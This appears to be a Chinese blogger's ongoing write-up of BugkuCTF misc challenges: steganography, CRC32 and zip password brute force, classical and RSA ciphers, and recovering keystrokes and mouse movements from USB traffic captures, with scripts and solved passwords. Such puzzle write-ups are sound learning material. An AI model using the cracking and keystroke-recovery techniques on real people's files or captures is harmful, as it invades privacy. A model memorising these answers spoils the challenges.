用010editor打开,发现crc32校验码出错,说明宽高需要修改,同时在尾部发现维吉尼亚密码的在线解密网站

把图片高度改高(png图片很好改)
BugkuCTF 部分题解(持续更新)_第62张图片
拿到刚才的网站解密
BugkuCTF 部分题解(持续更新)_第63张图片
没给种子,差评

放松一下吧

这题获取压缩包密码的途径就是那个iwanna小游戏…
BugkuCTF 部分题解(持续更新)_第64张图片
我之前做过一个很类似的题目,不记得在哪里做的了(好像是旧版bugku),那个题的思路是先通过一关,然后修改存档的那个文件。比如我本来处于第二关,把2改成5就到最后一关获得flag,但是…这个图我一关都过不去(手残)

游戏这里的思路也是看八神(tql)的,先是确定Game Maker版本为GM8
BugkuCTF 部分题解(持续更新)_第65张图片
然后用GM8Decompiler反编译,得到gmk文件,然后在room3找到密码happy_i_wanna

这里的压缩包名、图片名都是提示,即使用F5-steganography隐写工具解密图片
BugkuCTF 部分题解(持续更新)_第66张图片
passwd.txt的内容

password:
贝斯的老大也可以解这个问题

贝斯的老大指的是base100,使用在线工具解密得到密码66666666

在F5-steganography-master目录下打开终端,执行
java Extract 绝对路径.jpg -p 66666666,在同目录下会得到一个output.txt,打开得到flag

cisco

题目描述:密码是flag

这个题需要下载特定软件,我是之前做的,软件已经删了不想再下了,就只简述一下解题过程。

下载得到1.txt和2.txt,后者的内容U2FsdGVkX19T7VS86emCFReuh2Tjc3ZtbB5HMHebPd8=,直接base64解码得到一堆乱码,几经尝试发现是AESbase64形式密文,这里使用的工具是CaptfEncoder
BugkuCTF 部分题解(持续更新)_第67张图片
结合这个提示和题目名可知要把1.txt的后缀改为pka,然后用Cisco Packet Tracer(思科)打开,旧版本可能打不开,所以推荐使用最新版7.3.1

然后点击画面中的交换机,按回车键进入命令输入模式,输入特权模式命令en或enable。提示输入密码,输入flag后回车,然后show run找到flag

被勒索了

使用win7虚拟机,根据提示

火绒病毒库隔离区等数据目录:C:\ProgramData\Huorong

发现我的c盘中"没有"ProgramData这个目录,发现是被隐藏了,先把隐藏给取消,步骤如下
BugkuCTF 部分题解(持续更新)_第68张图片
BugkuCTF 部分题解(持续更新)_第69张图片
根据题目描述可知,这题需要用到火绒,先下载,发现C:\ProgramData\Huorong中有一个Sysdiag文件夹,题目也给了一个内容相似的同名文件夹,猜想需要进行替换。

替换的过程总是涉及权限问题,因为很久没用win7系统了,最后在网上找到了解决方法,用超级管理员身份登陆后,最先把火绒卸载,然后在C:\ProgramData新建一个huorong文件夹,把题目给的Sysdiag文件夹放到里面,权限改为只读
BugkuCTF 部分题解(持续更新)_第70张图片
然后再重新安装火绒,这样显示说明对了BugkuCTF 部分题解(持续更新)_第71张图片
根据另一个提示,先把只读取消,然后打开火绒的隔离区
BugkuCTF 部分题解(持续更新)_第72张图片
恢复这个文件得到flag
BugkuCTF 部分题解(持续更新)_第73张图片

三色绘恋

下载得到三色绘恋.jpg,binwalk分离出一个加密的zip文件,经测试发现不是伪加密

经过测试发现需要修改图片的高度,因为是jpg文件,修改宽高比png文件更复杂,但是使用010editorjpg.bt模板就很方便了
BugkuCTF 部分题解(持续更新)_第74张图片
修改后得到密码a56v1sa6fc,解密得到flag

只有黑棋的棋盘

下载得到加密的flag.zip和一张棋盘图
BugkuCTF 部分题解(持续更新)_第75张图片

用winhex打开图片,发现尾部有额外数据,但是这里的文件头被篡改过,不能直接foremost出来,手动把0506改成0304再提取
BugkuCTF 部分题解(持续更新)_第76张图片
得到passwd.txt



CDEFGHIJKLMNOPQRSTU
BCDEFGHIJKLMNOPQRST
ABCDEFGHIJKLMNOPQRS

根据规律补全(对应棋盘图片)

JKLMNOPQRSTUVWXYZAB
IJKLMNOPQRSTUVWXYZA
HIJKLMNOPQRSTUVWXYZ
GHIJKLMNOPQRSTUVWXY
FGHIJKLMNOPQRSTUVWX
EFGHIJKLMNOPQRSTUVW
DEFGHIJKLMNOPQRSTUV
CDEFGHIJKLMNOPQRSTU
BCDEFGHIJKLMNOPQRST
ABCDEFGHIJKLMNOPQRS

从下往上即为密码GOODGOPLAY,解密压缩包得到flag.png,修改高度得到flag
BugkuCTF 部分题解(持续更新)_第77张图片

蜘蛛侠

四个加密文件,注释部分给出密码的提示
BugkuCTF 部分题解(持续更新)_第78张图片
这个是苏州码子,〡 〢 〣 〤 〥 〦 〧 〨 〩 十分别对应1-10

压缩包密码是肆肆壹拾陆玖玖捌拾壹,根据hint.txt得知需要根据加密脚本,写出解密脚本得到file.jpg

key.jpg数据被py加密啦!!!
解密还原成file.jpg吧

把给的脚本稍作修改,运行跑出file.jpg

BugkuCTF 部分题解(持续更新)_第79张图片
用010editor打开file.jpg,在尾部发现一串代码IQ2?kEcY/KK#ojDrHoR'seB
BugkuCTF 部分题解(持续更新)_第80张图片
base92解码得到:password:SilentEye,使用SilentEye解密flag.jpg即可

baby_flag.txt

下载得到baby_flag.txt,文件尾部有一串十六进制

3561573935594f50364a6550354c7147354c6941354c69713559364c35377970355979463737794d354c32473570697635706148354c7532356153303561573935594f503570794a35344b35365a657536614b59

先转ascii,再base64解密得到好像藏了一个压缩包,但是文件头好像有点问题

用010editor打开,借助模板可知这是一个jpg文件,并且后面有一个疑似RAR文件头的东西(其实可以不用上面的提示)
BugkuCTF 部分题解(持续更新)_第81张图片
把文件后缀改为jpg,修复RAR文件头并提取出来,发现压缩包是加密状态,猜想密码应该在图片里

图片是463*344的,先把高度改成500,没发现东西,但是题目的提示是

hint:还能再高亿点点

索性直接改成900,得到密码0q1W2e3R4t
BugkuCTF 部分题解(持续更新)_第82张图片
打开压缩包得到real flag haha.txt

真是一种丑陋的语言呢
oh!!!ugly programming language!!!

D’r#?oJ[;|9Wx0/et?rqM(-9JI6(hEgeBc.x,<;)yrZvo5mrkji/Plkjib(fedFE[!Y^]\[Tx;QuU7SRKo2NGLEDh+AFEDC<;_?>~}5Y987w5.R21qp('K+$j"'~}${"y?_{tyrwp6tmUqj0nmleMib(fe^c"_^@VUTxXWV8NSRKJn10LKJIHAe?'=<;:9]76Z:981w543,P*)M-,%k)"F&}${zy?>_{zyr8YXtmlk1onmlNMib(I_d]\"BA]\Uy<;QPUTMLpJ2NMLKDhHA)E>b%$@?8}5Y981w543,P0/o-&Jk)"!~D1

结合第二个hintEsoteric programming language,开始使用搜索引擎…,一通操作后发现和Malbolge很像,这个语言被称为最难的5种编程语言之一…,然后又花了一些功夫找到一个在线网站来解代码,这个网站访问可能有点慢(也许是我没有科学上学的原因?)
BugkuCTF 部分题解(持续更新)_第83张图片

搜索引擎最好用google或者wiki,百度八太行

有黑白棋的棋盘

下载了三个加密的zip压缩文件,其中一个名为4easynum.zip,很明显提示密码是四位数,爆破得到7760,打开得到一个图片和文本:

图片解出来是棋盘的压缩包密码
棋盘是flag的密码

在这里插入图片描述
题目描述也提示了,这个是古精灵语密码,对照得到棋盘的压缩包密码:bugkupasswd
BugkuCTF 部分题解(持续更新)_第84张图片
解密第二个压缩包得到关键图片BugkuCTF 部分题解(持续更新)_第85张图片
右键查看属性获得提示,base58解密得到不用去找密码表啦题目就是BugkuCTF 部分题解(持续更新)_第86张图片
下面还有三串代码,拼在一起后base58解密得到白棋提了哪些黑棋呢
BugkuCTF 部分题解(持续更新)_第87张图片
查了一下围棋的基本规则,这里需要找到被白棋吃掉的黑子的空位,位置如下,得到最后一个压缩包的密码goodctfer(测试后发现是小写)

1G 2O 3O 4D 5C 6T 7F 8E 9R

得到图片flag-height.jpg,这里的height提示的是修改图片高度(010editor真的好用)
BugkuCTF 部分题解(持续更新)_第88张图片
BugkuCTF 部分题解(持续更新)_第89张图片

奇怪的png图片

下载得到一个怪怪的png图片,用winhex打开发现IHDR块没有报CRC错误,应该是被修改过
在这里插入图片描述
用binwalk分离出一个压缩包文件,内含五个加密的文本文件
BugkuCTF 部分题解(持续更新)_第90张图片
注意到pass1、pass2、pass3均为四字节,直接crc32爆破,连在一起得到Awsd2021mzy0,但是这个密码显示错误,考虑到还有一个图片真实crc32.txt,猜想密码还有一段在里面

我的做法就比较简单粗暴了,因为是6字节,我就直接用crc32-master爆破

C:\Users\17422\Desktop\解题\脚本\crc32碰撞\crc32-master>python3 crc32.py reverse 0x59f1d4be
4 bytes: {0xde, 0x9f, 0xfd, 0x06}
verification checksum: 0x59f1d4be (OK)
alternative: 2KHAZK (OK)
alternative: 9070yo (OK)
alternative: FRzUbd (OK)
alternative: GNt8xi (OK)
alternative: I1WyA7 (OK)
alternative: NXl6nL (OK)
alternative: PzWHOM (OK)
alternative: WcPvef (OK)
alternative: YlOFYh (OK)
alternative: aDNRsJ (OK)
alternative: c5fqG_ (OK)
alternative: oKQbOD (OK)
alternative: pudqtH (OK)
alternative: uq8An2 (OK)

这么多个结果挨个试,结果第二个就试出来了hhh,密码是Awsd2021mzy09070yo,然后就得到flag了


做完回头去看了八神的wp,发现正经步骤如下:

注意 图片真实crc32.txt 这一文件,其文件大小为6,但十六进制形式的CRC32值应该有8位。考虑一种可能性,即PNG图片IHDR块的真实CRC校验位(在此暂不考虑PNG内其它数据块如IDAT块等的CRC校验位)和该txt文件的CRC32值是一致的,均为0x59F1D4BE,尝试在此基础上爆破图片的宽和高:

import zlib
import struct

# 同时爆破宽度和高度
filename = 'C:/Users/Administrator/Desktop/file.png'
with open(filename, 'rb') as f:
    all_b = f.read()
    data = bytearray(all_b[12:29])
    n = 4095
    for w in range(n):
        width = bytearray(struct.pack('>i', w))
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == 0x59F1D4BE:
                print("宽为:", end = '')
                print(width, end = ' ')
                print(int.from_bytes(width, byteorder='big'))
                print("高为:", end = '')
                print(height, end = ' ')
                print(int.from_bytes(height, byteorder='big'))

结果得到原图的高和宽均为511,crc32值为59F1D4BEh,改完之后扫描图片中的二维码得到提示

pass4为crc32爆破出90开头那一个

爱因斯坦yyds

binwalk分析发现图片内有7z文件

volcano@kali:~/桌面$ binwalk file.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, big-endian, offset of first image directory: 8
14873         0x3A19          Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
47022         0xB7AE          7-zip archive data, version 0.4

直接binwalk -e无果,于是手动把文件剥离除了,发现需要解压密码;尝试过后,把图片高度改到500,得到解压密码bugku666
BugkuCTF 部分题解(持续更新)_第91张图片
得到flag.rar和密码.txt:

MuS4que9l+mprOeLrOijgeiAheaMh+aMpeedgOS4gOmYn+e8luWPt+S4umFiY2TnmoTln7rlm6DnqoHlj5jnmoTnvZfpqazni6zoo4HogIXmnaXmipPogIHpqazvvIzmlLvnv7vkuoY25Liq5pyJ5oqk5qCP55qE5Z+O5aKZ77yM54S25ZCO5LuW5Lus6aG65Yip55qE5oqT5Yiw5LqG6ICB6ams44CC5bm25b6X5Yiw5LiA5Liy5a2X56ym77yab2Vtc294ZXBkank

base64解密后得到

2个罗马独裁者指挥着一队编号为abcd的基因突变的罗马独裁者来抓老马,攻翻了6个有护栏的城墙,然后他们顺利的抓到了老马。并得到一串字符:oemsoxepdjy

这句话信息量可大了…
罗马独裁者指的是凯撒大帝,对应凯撒
基因突变的罗马独裁者对应变异凯撒
有护栏的城墙对应W形栅栏

解密步骤
①2个罗马独裁者→位移数为2的凯撒密码
解密得到mckqmvcnbhw

②编号为abcd的基因突变的罗马独裁者→秘钥为abcd的某种凯撒变种密码,测试后发现是维吉尼亚密码
解密得到mbinmuakbgu

③攻翻了6个有护栏的城墙→栏数为6的w型栅栏密码
解密得到mimabugkunb

前两步可以用bugku在线工具,第三步需要换在线工具

所以压缩包密码bugkunb,解压得到flag.txt:

U2FsdGVkX190Qzuyvdil3MZ9LQUzBbQaXJNzVFBzcAf5CzdvUZ5wdQ==

虽然是==结尾,base64解密无果,还是做题太少了,借鉴八神的wp,确定这个是密钥为E=MC²的DES密码,关于这个秘钥也是从图片中得到的,我也没弄出来…

使用CaptfEncoder解密

BugkuCTF 部分题解(持续更新)_第92张图片

贝氏六十四卦

下载得到一个bs64gua.png,放在Stegsolve里分析发现有lsb隐写痕迹,于是提取保存
BugkuCTF 部分题解(持续更新)_第93张图片
png文件头前面多余部分删去,得到分辨率为48*48的png图片
BugkuCTF 部分题解(持续更新)_第94张图片
之前就解到这个地方卡住了,对着这样一张图确实没啥思路…一直就扔着没看了,直到前几天的DJBCTF,八神师傅又出了一个碑寺六十四卦,整体思路和这题类似,但是比这题简单,那题解出来的图片如下(忘记存图了,直接用Mumuzi师傅的图了)
BugkuCTF 部分题解(持续更新)_第95张图片
很显然,DJB这个题把空余部分的空白删去,再把白色的细线删去,紧凑在一起,就和bugku这题的题如出一辙了,其实知道了原理,剩下的就很简单了,可以把图片一块块分割开来,分别解出对应数字,再转ascii,也可以写脚本,我写的就很繁琐了,这里贴上八神的脚本:

from PIL import Image

img = Image.open('C:/Users/Administrator/Desktop/1.png')

def check(x, y):
    p = img.getpixel((x, y))
    if p == 0:
        return '1'
    if p == 255:
        return '0'

res = ''
for y in range(8):
    for x in range(8):
        for l in range(6):
            res += check(6*x+2, 6*y+l)
print(res)

得到一串二进制

010110100110110101111000011010000101101000110011011101000101001001100001010101110100011001110101010110000011000001110100001100010110001001101100001110010101010101100100010101110011010101100110010101000101011101010110011101010101101000110001001110010101100101100100010101100011100101010100011000100011001000110101011011100101100000110001010011100110111101100001010110000011000000111101

先转为十六进制,再转ascii,然后base64解码得到flag

baby_misc

下载得到在这里插入图片描述
先看注意事项.txt:

截图的时候没截好所以图片中有个200%,不要在意哈(怕你们被迷惑了)。下次我注意
还有就是,这只小猫咪,它,瞎了。
(py3)

第一个就是说作者失误多截了一个200%,不要被误导,后两个提示暂时看不出来具体指什么,压缩包是加密的,先研究小猫咪.jpg,用010editor打开,发现文件头有问题
在这里插入图片描述
这是一个png文件,在最前面套上了jpg格式的文件头,将其修复
BugkuCTF 部分题解(持续更新)_第96张图片
binwalk分析得知这张图片里还隐写了另一张图片,foremost分离出来两张相似的图片
BugkuCTF 部分题解(持续更新)_第97张图片
这个时候结合注意事项.txt的后两个提示,小猫咪瞎了是指盲水印py3是因为常用的那个盲水印工具有py2和py3两个版本,这里指定py3的

使用盲水印工具处理,注意,两个图片的顺序调换,解出的图片不一样,建议两种顺序都试试

D:\盲水印\BlindWaterMark-master>python3 bwmforpy3.py decode 00000000.png 00000657.png 1.png
image<00000000.png> + image(encoded)<00000657.png> -> watermark<1.png>

解出图片得到密码:wowblind
BugkuCTF 部分题解(持续更新)_第98张图片
解压缩包得到加密的flag.zip和password.txt:

萌新专属RSA:
已知R=65537
N=21321423135312411313
求出来十进制d就是解压密码

出题人后面解释了,这个R是打错了,应该是e=65537,很基础的rsa,先到http://factordb.com/把n分解成p=2930371q=7276014926203,然后用RSAtools解出d=1653347504416359113
BugkuCTF 部分题解(持续更新)_第99张图片
解密得到flag.txt

NGZlbmNl
eW91IG5lZWR+
VGhhbmsgeW91
Zm9yIGJlaW5n
YWJsZSB0b4++
ZG8gdGhpc5++
c3RlcC6+
VGhlIGRpZmZpY3VsdGllc3++
YWhlYWQgc2hvdWxk
bm90IGJlIGRpZmZpY3VsdH++
Zm9yIHRob3Nl
d2hvIGNhbk++
ZG8ndGhpcyBzdGVwLn++
Tm93IGl0J3MgSmFudWFyeV++
MTUgb2YgdGhl
MjFzdCB5ZWFyLn++
SWYgeW91IGFyZb++
bHVja3kgZW5vdWdo
dG8gc2VlIHRoZT++
d2hvbGUgcGFzc2FnZQ++
YmVmb3JlIHRoZW++
bmV3IHllYXIs
SSB3aXNoIHlvdT++
YSBoYXBweW++
bmV3JHllYXJ+
aW6gYWR2YW5jZS6+
SW4gYWRkaXRpb24s
SSB3aWxsIHdyaXRl
YSBxdWVzdGlvbiBhYm91dG++
c29jaWFsIGVuZ2luZWVyaW5n
b24nYnVna3Und2hlbn++
dGhlIG5ldyB5ZWFy
aXMnY29taW5nLn++
SSBob3BlIHlvdV++
aGF2ZSBh
Z29vZCB0aW1l
QnkgdGhlIHdheSx+
SSdtIGErbmV3IENURmVyLr++
SSBhbHNv
d2FudCB0b9++
d29yayBzaWRlIGJ5
c2lkZSB3aXRo
dGhlIGRhbGFvLn++
SSBjYW1lIGludG8g
Y29udGFjdCB3aXRo
c1RGIHdoZW4gSc++
d2VudCB0byB0aGX+
Q29sbGVnZSBpbiAyMDIwLj++
SSBob3BlIHdl
Y2FuIGFsbH++
d29yayB0b2dldGhlct++
SSB3b25kZXJ+
aWYgc29tZW9uZSB3aWxsIK++
cmVhbGx5IHRyYW5zbGF0ZSD+
dGhpcyBwYXNzYWdl
YW5kIGVpZ2h0IGdvZG++
dGhpbmsgaXQgaXN+
dGhlIGVhc2llc3Q+
bWlzYyBxdWVzdGlvbn++
Zm9yIGhl
YnVna3U2Ni++

很眼熟,应该是base64隐写,不过把=换成+了,我的做法是把+换成=,然后base64隐写解密得到
BugkuCTF 部分题解(持续更新)_第100张图片
应该是w型栅栏,前段时间做题的时候接触过,在线解密(栏数为4)得到flag,记得把首字母大写

花点流量听听歌

下载得到一个mp3格式的文件,用010editor打开发现尾部有额外数据和一段hint:
BugkuCTF 部分题解(持续更新)_第101张图片
foremost分离出一个压缩包,内含三个文件
在这里插入图片描述
分析mp3文件,先用audacity打开,结果报错打不开,于是使用Adobe Audition查看频谱图,发现这个位置不太一样
BugkuCTF 部分题解(持续更新)_第102张图片
放大后发现是beaufort-cipher,这个一种加密,应该是后面会遇到的
BugkuCTF 部分题解(持续更新)_第103张图片
然后分析流量包,打开发现都是USB的流量,参考文章学习导出usb流量的命令BugkuCTF 部分题解(持续更新)_第104张图片
执行命令

┌──(volcano㉿kali)-[~/桌面]
└─$ tshark -r whereiskey.pcapng -T fields -e usb.capdata | sed '/^\s*$/d'

将导出的数据保存在usb.txt中:
BugkuCTF 部分题解(持续更新)_第105张图片
因为网上找到的脚本大部分都是有冒号的,所以先写个小脚本填上冒号,得到out.txtBugkuCTF 部分题解(持续更新)_第106张图片

这里附上我从网上py来的脚本

normalKeys = {
     "04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"","29":"","2a":"", "2b":"\t","2c":"","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"","33":";","34":"'","35":"","36":",","37":".","38":"/","39":"","3a":"","3b":"", "3c":"","3d":"","3e":"","3f":"","40":"","41":"","42":"","43":"","44":"","45":""}
shiftKeys = {
     "04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"","29":"","2a":"", "2b":"\t","2c":"","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"","33":"\"","34":":","35":"","36":"<","37":">","38":"?","39":"","3a":"","3b":"", "3c":"","3d":"","3e":"","3f":"","40":"","41":"","42":"","43":"","44":"","45":""}
output = []
keys = open('out.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('')
        del output[a]
        del output[a-1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i]=="":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
print ('output :' + "".join(output))

运行后得到

thk<DEL>epe<DEL>asy<DEL>swoi<DEL>rds<DEL>notu<DEL>hes<DEL>reb<DEL>?6<DEL>
output :thepasswordnothere?

这里要结合描述.txt一起看,这里的意思是删除了的才是重要的
BugkuCTF 部分题解(持续更新)_第107张图片
上面的是删除,一共删除的内容是keyisusb6,直接拿这个去解密压缩包不对,只用其中一部分也不是,回过头发现前面有两个个提示还没用:beaufort-cipher和mp3文件尾部的那串密文

解密得到压缩包密码happyeveryday,然后得到flag
BugkuCTF 部分题解(持续更新)_第108张图片

善用工具

描述: webp

这个题真是挺折磨的,下载得到三个文件
在这里插入图片描述
其中hint.png其实不是图片,是一段文本信息,其中要解密的如下

8:V5Y:7,Y,3MU=$8D:D%11&9O6BY .G,M

说实话这个看了挺久不知道是啥,然后打开CaptfEncoder挨个试吧(菜狗)
发现uuencode解密后得到keyis91;utF$jAQDfoZ.@:s-

注意了,这里就开始ex了,我直接拿91;utF$jAQDfoZ.@:s-去解压显示密码错误,然后又分段使用还是错误,其实要把后面这些拿去base85解密一次(整吐了)
BugkuCTF 部分题解(持续更新)_第109张图片
得到key:Camouflage,这个不是压缩包的密码,先放着,去看sapphire .jpg,常规隐写套路查看了一圈没得到线索,这里应该就是题目名所说的善用工具了,反正我是没找到…最后在别的师傅的提示下知道是Free_File_Camouflage

BugkuCTF 部分题解(持续更新)_第110张图片
解出一个docx文档,取消隐藏文字看到解压密码XiAo_1U,解压缩包,改文件后缀为webp

百度一下webp隐写查到一个解密工具stegpy:
直接pip3 install stegpy即可完成安装

使用stegpy解密得到flag

D:\Python38>stegpy C:\Users\xxxxx\Desktop\csgo.webp
bugku{rea1ly_miss_yoU}

开始也是结束

下载得到Cattle.jpg,foremost分离出一个加密的压缩包11549.zip,压缩包的密码就是文件名那五位数,然后多层套娃,和攻防世界的Miscellaneous-300很像,可以用那题的脚本

没细数,好像是套了将近1000层,最后得到bugku.zip(2314.zip的密码是bugku)
BugkuCTF 部分题解(持续更新)_第111张图片
题目提示的是rockyou文件,应该是一个字典或者文件里有密码的提示,但是我没找到…我先是尝试爆破,跑了一会没跑出来,然后尝试用我的密码字典爆破,结果一秒出…
BugkuCTF 部分题解(持续更新)_第112张图片
压缩包密码letsgetiton,解压得到一张和Cattle.jpg长得一样的图片,我第一反应是盲水印,后来才发现文件尾就放着flag,作者好像打错字母了…
BugkuCTF 部分题解(持续更新)_第113张图片

扭转乾坤

下载得到一个扭转乾坤.png,一同分析后,用Stegsolve打开时发现有lsb隐写痕迹,提取出来内容
BugkuCTF 部分题解(持续更新)_第114张图片
分析上半部分的十六进制内容
BugkuCTF 部分题解(持续更新)_第115张图片
直接放在winhex里看不出东西
BugkuCTF 部分题解(持续更新)_第116张图片
此时突然发现最后八位数是4030B405,倒过来是504B0304,正好是zip文件的文件头,于是把整段文本倒序再放到winhex里保存为1.zip,打开,这里我用winrar打开时报错,用7z和360压缩可以正常打开,不知道是什么原因

打开得到注意事项.txt:

内容开头为字母(即bugku)
lost:
前3后1

和flag128.png在这里插入图片描述
直接扫,发现报错,应该是条形码被改动过需要修复
BugkuCTF 部分题解(持续更新)_第117张图片
结合提示知道,前面缺了三条,后面缺了一条,与bugku{ }的条形码对比
BugkuCTF 部分题解(持续更新)_第118张图片
然后手动修复…
BugkuCTF 部分题解(持续更新)_第119张图片
扫码得到flag

欢乐牛年

提示:隐藏文字,Zero width

压缩包的注释信息中有解压密码的hint

this is password:
y 20 p m 12 9 c 1
pay attention:
alphabet(lower case)—>num
num—>alphabet(capital letter)
/no hint more happiness/

根据提示需要把小写字母转换为数字,数字转换为大写字母,转换结果是:25 T 16 13 L I 3 A,把空格删去就是压缩包的密码了

解出的压缩包也是加密的,显然要分析流量包得到密码,发现都是usb的流量
BugkuCTF 部分题解(持续更新)_第120张图片
先用tshark命令提取数据:

┌──(volcano㉿kali)-[~]
└─$ tshark -r secret.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' >1.txt      #删去多余空格和换行,并保存在1.txt中

这里其实是鼠标流量,和上次的键盘流量明显不一样
BugkuCTF 部分题解(持续更新)_第121张图片
这里也是嫖的脚本

nums = []
keys = open('out.txt','r')
posx = 0
posy = 0
for line in keys:
    if len(line) != 13:
         continue
    x = int(line[4:6],16)
    y = int(line[6:8],16)
    if x > 127 :
        x -= 256
    if y > 130 :
        y -= 265
    posx += x
    posy += y
    btn_flag = int(line[2:4],16)
    if btn_flag == 1:   # 1 for left , 2 for right , 0 for nothing
        print posx ,posy
keys.close()

解出来的结果是一个个坐标
BugkuCTF 部分题解(持续更新)_第122张图片
使用gnuplot作图(红框里的是正确命令)
BugkuCTF 部分题解(持续更新)_第123张图片
没有gnuplot的可以执行命令安装:sudo apt-get install gnuplot

解出来的这个图看起来及其别扭…猜想需要翻转一下,我是用word进行翻转的
BugkuCTF 部分题解(持续更新)_第124张图片
这下能认出密码N65t92c8,解出一个有几个小故事的牛年大吉.txt和加密的压缩包,但其实这几个小故事只是一个幌子,用winhex打开牛年大吉.txt,发现很多零宽字符
BugkuCTF 部分题解(持续更新)_第125张图片
于是在linux下使用vim命令打开txt文件,可以看到其中隐藏的零宽度字符
BugkuCTF 部分题解(持续更新)_第126张图片
使用在线工具解密:
BugkuCTF 部分题解(持续更新)_第127张图片
base62解密得到password:happyoxday

解压得到的棋盘-入门.jpg中分离出一个压缩包,解压得到密码本
BugkuCTF 部分题解(持续更新)_第128张图片
不愧是棋圣(套娃)师傅!在棋盘图片中标出落子位置,对照密码本得到密码htpchbar

得到在这里插入图片描述和一个txt文件

这个很明显是Aztec Code,google到一个在线解码网站,直接扫描得到flag

Improve yourself

描述 : Conway’s Game of Life

下载得到几个加密文件,其中四个txt文件均不大于6字节,可以爆破出来,它们的文件名解出来都是数字,应该是它们的位置,即爆破出四段文本按照正确顺序排列得到解压密码
BugkuCTF 部分题解(持续更新)_第129张图片
正常跑会出来很多结果,从里面挑选有意义的出来,例如
BugkuCTF 部分题解(持续更新)_第130张图片
最后得到解压密码:bugku_youareprettygood

然后看next zip passwd.pngBugkuCTF 部分题解(持续更新)_第131张图片
这里有两种思路,结合这里的提示,可以知道每一个图下一个状态对应的数字就是密码,也就是说密码是九位数字,可以直接爆破;

正常解法就是结合题目描述里的提示找到在线工具,先清空画面,再照着给的图片点亮格子保持一致
BugkuCTF 部分题解(持续更新)_第132张图片
然后点击单步演化,数格子得到密码(第一个图演化结果是空的,对应0)为:012369849
BugkuCTF 部分题解(持续更新)_第133张图片
解压得到flag.exe和一passwd and mark=0.jpg,用winhex打开flag.exe,发现它其实是一个压缩包,改后缀为zip,需要密码

用winhex打开jpg,发现文件尾部有额外数据(png图片的base64形式)
BugkuCTF 部分题解(持续更新)_第134张图片
使用在线工具,得到一张残缺的二维码BugkuCTF 部分题解(持续更新)_第135张图片
二维码的在线修复网站,结合jpg文件名的提示,需要修改如下
BugkuCTF 部分题解(持续更新)_第136张图片
花了几分钟补完的结果,扫码得到a1s2d3f4g5
BugkuCTF 部分题解(持续更新)_第137张图片
解压得到flag

神奇宝贝

压缩包中有两个文件,但是在解压的时候报错,用010editor打开,运行模板时报错
在这里插入图片描述
同时发现文件尾部是504B,说明这是一个zip文件,把文件头修改为504B0304后可以解压出压缩包和一个图片在这里插入图片描述
U1S1,这个东西真没见过,拍照识图也没找到,最后还是其他师傅提示的:这是 《精灵宝可梦》 中的精灵未知图腾,拥有28种形态BugkuCTF 部分题解(持续更新)_第138张图片
终究是吃了没文化的亏 ,这个动漫我没看过…对照上图得到另一个压缩包的密码whereisflag

然后得到加密的压缩包层层加密.txt:

00111 1010 00001 0 11110 00011 100 100 11100 00111 11111 1000 1010 01 01 1000 100 00000 00000 00111 0 11000 00001 00000 11000 1000 10000 11110 11111 11100 0010 10000
国王把明文撒了盐之后交给士兵,士兵在途中经过了两个交叉的篱笆地才将密文传交给摩斯侦探。

根据描述可知解密的第一层摩斯密码第二层栏数为2的栅栏密码第三层的加盐指的是md5算法

第一步,把1换成-0换成.  莫斯密码解密得到
2C4E93DD820BCAABD552E7457B6908F6
第二步,经过反复测试,发现是连续解密两次 栏数为2的普通栅栏,我找的在线网站得出的结果md5解密均得不出值,最后是在CaptfEncoder里解出的
298CDE70C32A57B84D0A546FEDBB2596
第三步,[md5解密](https://www.somd5.com/)即可
得到密码: PassW0rd

解压得到一张图
BugkuCTF 部分题解(持续更新)_第139张图片
手动把图中文字抠出来(出题人太狗了)

MTM4NDAwMjE4MTYxNTg5Nzc2ODk2NzcxOTYyMTQzMTgzMzcwNjU0Njg0NDU1MTk4MzcwOTk3ODA3NDU1MDUzMjI1OTc5MTI2Mj
UxMDM4MjY3MDU5NzU4OTQ0MzAxNTQ2Nzg0OTU2MTY1NTUxMTQ4MDMxNzE4MDg4NzM4ODA1MzgyNDgyOTE0MTEwMTA5MzMxNTI4Mzg0OTI4OTM5MzgxMjg3MzA2MDE4NjExNDEyNTE2ODM4MzcyNjUzMzkz

将两端文字拼在一起,base64解密得到:

138400218161589776896771962143183370654684455198370997807455053225979126251038267059758944301546784956165551148031718088738805382482914110109331528384928939381287306018611412516838372653393

就我的做题经验而言,一长串十进制数可以转十六进制后再转ASCII字符,也可以以某种规律转换为坐标然后画图,或者转为二进制后画出一张二维码

